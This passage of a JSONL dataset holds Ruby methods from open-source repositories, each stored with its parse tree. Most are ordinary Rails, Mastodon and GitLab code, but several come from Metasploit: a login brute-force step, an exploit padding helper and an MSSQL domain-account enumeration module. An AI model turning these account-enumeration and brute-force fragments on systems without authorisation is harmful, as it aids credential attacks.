\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_version_tested?\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"You're running the module against a version we have not tested.\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"System name detected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sys_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"system.name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"system_name\"]},{\"type\":\"lvar\",\"children\":[\"sys_name\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"anonymous_access?\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"No login necessary. Server allows anonymous access.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"init_loginscanner\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"send\",\"children\":[null,\"bruteforce\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]}]}","id":"3b38ceba-42e9-47db-b547-94323df7f463"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/activity/quote_request.rb","start_line":44,"raw_source":"def import_instrument(quoted_status)\n    return unless @json['instrument'].is_a?(Hash)\n\n    # NOTE: Replacing the object's context by that of the parent activity is\n    # not sound, but it's consistent with the rest of the codebase\n    instrument = @json['instrument'].merge({ '@context' => @json['@context'] })\n    return if non_matching_uri_hosts?(instrument['id'], @account.uri)\n\n    ActivityPub::FetchRemoteStatusService.new.call(instrument['id'], prefetched_body: instrument, on_behalf_of: quoted_status.account, request_id: @options[:request_id])\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"import_instrument\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"quoted_status\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"instrument\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"instrument\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"instrument\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"@context\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"@context\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"non_matching_uri_hosts?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instrument\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"uri\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"FetchRemoteStatusService\"]},\"new\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instrument\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefetched_body\"]},{\"type\":\"lvar\",\"children\":[\"instrument\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_behalf_of\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_status\"]},\"account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"request_id\"]}]}]}]}]}]}]}","id":"9d4740a1-b2ed-4aad-8c7b-cc0b16a04ad0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb","start_line":264,"raw_source":"def junk(n = 4)\n    return rand_text_alpha(n).unpack(\"V\").first\n  end","complexity_score":4.85,"ast_json":"{\"type\":\"def\",\"children\":[\"junk\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"n\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"lvar\",\"children\":[\"n\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"first\"]}]}]}","id":"13a11793-4d6a-4fc6-b671-05f5db79d32e"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/etag_with_template_digest.rb","start_line":49,"raw_source":"def pick_template_for_etag(options)\n        unless options[:template] == false\n          options[:template] || lookup_context.find_all(action_name, _prefixes).first&.virtual_path\n        end\n      end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pick_template_for_etag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"template\"]}]},\"==\",{\"type\":\"false\",\"children\":[]}]},null,{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"template\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lookup_context\"]},\"find_all\",{\"type\":\"send\",\"children\":[null,\"action_name\"]},{\"type\":\"send\",\"children\":[null,\"_prefixes\"]}]},\"first\"]},\"virtual_path\"]}]}]}]}","id":"6c965457-1088-43d0-ad7b-43ef2403f2dd"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/range_test.rb","start_line":544,"raw_source":"def test_infinity_values\n    PostgresqlRange.create!(int4_range: 1..Float::INFINITY,\n                            int8_range: -Float::INFINITY..0,\n                            float_range: -Float::INFINITY..Float::INFINITY)\n\n    record = PostgresqlRange.first\n\n    assert_equal(1...Float::INFINITY, record.int4_range)\n    assert_equal(-Float::INFINITY...1, record.int8_range)\n    assert_equal(-Float::INFINITY...Float::INFINITY, record.float_range)\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_infinity_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlRange\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"int4_range\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},\"INFINITY\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"int8_range\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},\"INFINITY\"]},\"-@\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"float_range\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},\"INFINITY\"]},\"-@\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},\"INFINITY\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlRange\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},\"INFINITY\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"int4_range\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"erange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},\"INFINITY\"]},\"-@\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"int8_range\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"erange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},\"INFINITY\"]},\"-@\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},\"INFINITY\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"float_range\"]}]}]}]}","id":"ba7c0577-3429-4bd3-a13e-0496cd897902"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":1160,"raw_source":"def test_collection_size_with_dirty_target\n    post = posts(:thinking)\n    assert_equal [], post.reader_ids\n    assert_equal 0, post.readers.size\n    post.readers.reset\n    post.readers.build\n    assert_equal [nil], post.reader_ids\n    assert_equal 1, post.readers.size\n  end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_collection_size_with_dirty_target\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"thinking\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"reader_ids\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"readers\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"readers\"]},\"reset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"readers\"]},\"build\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"reader_ids\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"readers\"]},\"size\"]}]}]}]}","id":"6b048fe7-6ec8-4e41-8cbd-544cb9d559c7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration',\n        'Description' => %q{\n          This module can be used to bruteforce RIDs associated with the domain of the SQL Server\n          using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed\n          through SQL Server queries as any user with the PUBLIC role (everyone). Information that\n          can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated\n          accounts can then be used in online dictionary attacks.\n        },\n        'Author' => [\n          'nullbind <scott.sutherland[at]netspi.com>',\n          'antti <antti.rantasaari[at]netspi.com>'\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [[ 'URL', 'https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql']],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10_000]),\n      ]\n    )\n  end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module can be used to bruteforce RIDs associated with the domain of the SQL Server\\n\"]},{\"type\":\"str\",\"children\":[\"          using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed\\n\"]},{\"type\":\"str\",\"children\":[\"          through SQL Server queries as any user with the PUBLIC role (everyone). Information that\\n\"]},{\"type\":\"str\",\"children\":[\"          can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated\\n\"]},{\"type\":\"str\",\"children\":[\"          accounts can then be used in online dictionary attacks.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"nullbind <scott.sutherland[at]netspi.com>\"]},{\"type\":\"str\",\"children\":[\"antti <antti.rantasaari[at]netspi.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"FuzzNum\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Number of principal_ids to fuzz.\"]},{\"type\":\"int\",\"children\":[10000]}]}]}]}]}]}]}","id":"e96ec6b9-3cf0-4125-b1aa-a681e8e12dfb"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/ldap_auth_source.rb","start_line":277,"raw_source":"def strip_ldap_attributes\n    %i[attr_login attr_firstname attr_lastname attr_mail attr_admin].each do |attr|\n      self[attr] = self[attr].strip unless self[attr].nil?\n    end\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"strip_ldap_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"attr_login\"]},{\"type\":\"sym\",\"children\":[\"attr_firstname\"]},{\"type\":\"sym\",\"children\":[\"attr_lastname\"]},{\"type\":\"sym\",\"children\":[\"attr_mail\"]},{\"type\":\"sym\",\"children\":[\"attr_admin\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attr\"]}]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"attr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attr\"]}]},\"strip\"]}]}]}]}]}","id":"7e519ff1-7ec8-462b-a0c7-b5539ec6a367"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/custom_emoji_policy.rb","start_line":8,"raw_source":"def create?\n    role.can?(:manage_custom_emojis)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_custom_emojis\"]}]}]}","id":"6a9e4e52-7dca-4abc-96dd-67cec281ead9"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_journalized/lib/journal_formatter.rb","start_line":121,"raw_source":"def formatter_instance(field)\n    # Some attributes on a model are named dynamically.\n    # This is especially true for associations created by plugins.\n    # Those are sometimes named according to the schema \"association_name[n]\" or\n    # \"association_name_[n]\" where n is an integer representing an id.\n    # Using regexp we are able to handle those fields with the rest.\n    formatter_key = lookup_formatter_key(field)\n\n    formatter_instances[formatter_key] if formatter_key\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"formatter_instance\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"formatter_key\",{\"type\":\"send\",\"children\":[null,\"lookup_formatter_key\",{\"type\":\"lvar\",\"children\":[\"field\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatter_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"formatter_instances\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"formatter_key\"]}]},null]}]}]}","id":"cb7917b3-4415-4bca-a1a5-5caa4c710b28"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v2/filters/keywords_controller.rb","start_line":43,"raw_source":"def set_keyword\n    @keyword = CustomFilterKeyword.includes(:custom_filter).where(custom_filter: { account: current_account }).find(params[:id])\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_keyword\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@keyword\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomFilterKeyword\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"custom_filter\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_filter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[null,\"current_account\"]}]}]}]}]}]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"0701c977-3b57-4d18-b345-4f3853695cce"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/isolation/abstract_unit.rb","start_line":422,"raw_source":"def add_to_top_of_config(str)\n      environment = File.read(\"#{app_path}/config/application.rb\")\n      if environment =~ /(Rails::Application\\s*)/\n        File.open(\"#{app_path}/config/application.rb\", \"w\") do |f|\n          f.puts $` + $1 + \"\\n#{str}\\n\" + $'\n        end\n      end\n    end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"add_to_top_of_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"environment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_path\"]}]},{\"type\":\"str\",\"children\":[\"/config/application.rb\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environment\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(Rails::Application\\\\s*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_path\"]}]},{\"type\":\"str\",\"children\":[\"/config/application.rb\"]}]},{\"type\":\"str\",\"children\":[\"w\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"back_ref\",\"children\":[\"$`\"]},\"+\",{\"type\":\"nth_ref\",\"children\":[1]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},\"+\",{\"type\":\"back_ref\",\"children\":[\"$'\"]}]}]}]},null]}]}]}","id":"a399ef62-1ee7-42f6-ab8e-96cb2a2976c2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/nested_attributes_test.rb","start_line":28,"raw_source":"def test_base_should_have_an_empty_nested_attributes_options\n    assert_equal Hash.new, ActiveRecord::Base.nested_attributes_options\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_base_should_have_an_empty_nested_attributes_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"nested_attributes_options\"]}]}]}","id":"d1770c9e-b616-4f0c-9d77-21e549b14925"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tool_runner.rb","start_line":366,"raw_source":"def attach_sleep(mini_racer_context)\n        mini_racer_context.attach(\n          \"sleep\",\n          ->(duration_ms) do\n            @sleep_calls_made += 1\n            if @sleep_calls_made > MAX_SLEEP_CALLS\n              raise TooManyRequestsError.new(\"Tool made too many sleep calls\")\n            end\n\n            duration_ms = duration_ms.to_i\n            if duration_ms > MAX_SLEEP_DURATION_MS\n              raise ArgumentError.new(\n                      \"Sleep duration cannot exceed #{MAX_SLEEP_DURATION_MS}ms (1 minute)\",\n                    )\n            end\n\n            raise ArgumentError.new(\"Sleep duration must be positive\") if duration_ms <= 0\n\n            in_attached_function do\n              sleep(duration_ms / 1000.0)\n              { slept: duration_ms }\n            end\n          end,\n        )\n      end","complexity_score":32.9,"ast_json":"{\"type\":\"def\",\"children\":[\"attach_sleep\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mini_racer_context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mini_racer_context\"]},\"attach\",{\"type\":\"str\",\"children\":[\"sleep\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"duration_ms\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@sleep_calls_made\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sleep_calls_made\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_SLEEP_CALLS\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TooManyRequestsError\"]},\"new\",{\"type\":\"str\",\"children\":[\"Tool made too many sleep calls\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"duration_ms\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duration_ms\"]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duration_ms\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_SLEEP_DURATION_MS\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sleep duration cannot exceed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAX_SLEEP_DURATION_MS\"]}]},{\"type\":\"str\",\"children\":[\"ms (1 minute)\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duration_ms\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"str\",\"children\":[\"Sleep duration must be positive\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_attached_function\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duration_ms\"]},\"/\",{\"type\":\"float\",\"children\":[1000.0]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"slept\"]},{\"type\":\"lvar\",\"children\":[\"duration_ms\"]}]}]}]}]}]}]}]}]}","id":"74811317-89aa-4f82-b734-3b766b0113ca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/concurrency_limit/middleware.rb","start_line":57,"raw_source":"def should_defer_perform?\n          return false if Feature.disabled?(:sidekiq_concurrency_limit_middleware, Feature.current_request, type: :ops)\n          return false if disabled_for_worker?\n          return false if resumed?\n          return true if has_jobs_in_queue?\n\n          if Feature.enabled?(:concurrency_limit_current_limit_from_redis, Feature.current_request)\n            concurrency_service.over_the_limit?(worker_name)\n          else\n            ::Gitlab::SidekiqMiddleware::ConcurrencyLimit::WorkersMap.over_the_limit?(worker: worker)\n          end\n        